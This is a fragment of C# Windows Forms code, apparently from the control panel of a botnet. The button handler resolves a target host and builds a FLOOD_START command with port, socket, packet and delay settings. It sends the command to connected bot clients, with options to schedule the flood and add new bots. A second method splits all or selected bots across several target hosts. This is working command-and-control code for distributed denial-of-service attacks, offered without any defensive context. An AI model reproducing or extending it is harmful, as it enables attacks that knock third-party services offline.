private void btnStart_Click(object sender, EventArgs e) { if (xResolveHost.Checked) { try { Regex reg = new Regex(@"\d+\.\d+\.\d+\.\d+"); if (!reg.IsMatch(txtHost.Text)) { string host = txtHost.Text; host = host.Replace("http://", ""); host = host.Replace("https://", ""); if (host.Contains('/')) { host = host.Remove(host.IndexOf('/')); } host = host.Replace("/", ""); txtHost.Text = Dns.GetHostEntry(host).AddressList[0].ToString(); } } catch { if (MessageBox.Show("Unable to resolve host. Continue?", "Host Conversion Failed", MessageBoxButtons.YesNo, MessageBoxIcon.Error) != System.Windows.Forms.DialogResult.Yes) { return; } } } if (xCommaFix.Checked) { txtHost.Text = txtHost.Text.Replace(',', '.'); } try { PacketWriter w = new PacketWriter(); w.Write((int)PacketHeader.FLOOD_START); w.Write(cmdType.SelectedIndex); w.Write(txtHost.Text); w.Write(int.Parse(txtPort.Text)); w.Write(int.Parse(txtSockets.Text)); w.Write(int.Parse(txtPackets.Text)); w.Write(decimal.Parse(txtDelay.Text)); byte[] b = w.ToArray(true); if (xJoinDoS.Checked) { main.FloodPacket = b; } else { main.FloodPacket = null; } main.Send(b); if (xTimer.Checked) { FloodTimer.StartTimer(new TimeSpan(int.Parse(txtHours.Text), int.Parse(txtMins.Text), int.Parse(txtSecs.Text))); } if (xCheckHost.Checked) { BeginCheck(); } } catch (Exception ex) { MessageBox.Show(ex.Message, "Unable to send command", MessageBoxButtons.OK, MessageBoxIcon.Error); } }
public void Calculate() { int hostCount = lstHosts.Items.Count; int clientCount = main.SelectionCount == -1 ? main.Clients.Count : main.SelectionCount; if (clientCount == 0 || hostCount == 0) { MessageBox.Show("Can not divide by zero!", "Invalid Mathematical Equation", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } if (hostCount > clientCount) { MessageBox.Show("Host count greater than client count!", "Invalid Mathematical Equation", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } int clientsEach = clientCount / hostCount; if (clientsEach == 0) { MessageBox.Show(string.Format("Unable to divide {0} by {1}", clientCount, hostCount), "Invalid Mathematical Equation", MessageBoxButtons.OK, MessageBoxIcon.Error); return; //return 0; } new Thread(() => { if (main.SelectionCount == -1) { List <Client> clients = main.Clients; int dataIndex = 0; int index = 0; byte[] packet = null; for (int i = 0; i < clients.Count; i++) { Invoke((MethodInvoker) delegate { if (dataIndex == lstHosts.Items.Count) { dataIndex = 0; } packet = lstHosts.Items[dataIndex].Tag as byte[]; }); clients[i].Send(packet); index++; if ((index + 1) % clientsEach == 0) { dataIndex++; } index++; } if (xTimer.Checked) { FloodTimer.StartTimer(new TimeSpan(int.Parse(txtHours.Text), int.Parse(txtMins.Text), int.Parse(txtSecs.Text))); } } else { ListViewItem[] items = new ListViewItem[main.SelectionCount]; Invoke((MethodInvoker) delegate { main.lstClients.SelectedItems.CopyTo(items, 0); }); int dataIndex = 0; int index = 0; byte[] packet = null; for (int i = 0; i < items.Length; i++) { Invoke((MethodInvoker) delegate { if (dataIndex == lstHosts.Items.Count) { dataIndex = 0; } packet = lstHosts.Items[dataIndex].Tag as byte[]; }); ((Client)items[i].Tag).Send(packet); index++; if ((index + 1) % clientsEach == 0) { dataIndex++; } index++; } } }).Start(); if (xTimer.Checked) { FloodTimer.StartTimer(new TimeSpan(int.Parse(txtHours.Text), int.Parse(txtMins.Text), int.Parse(txtSecs.Text))); } //return clientsEach; }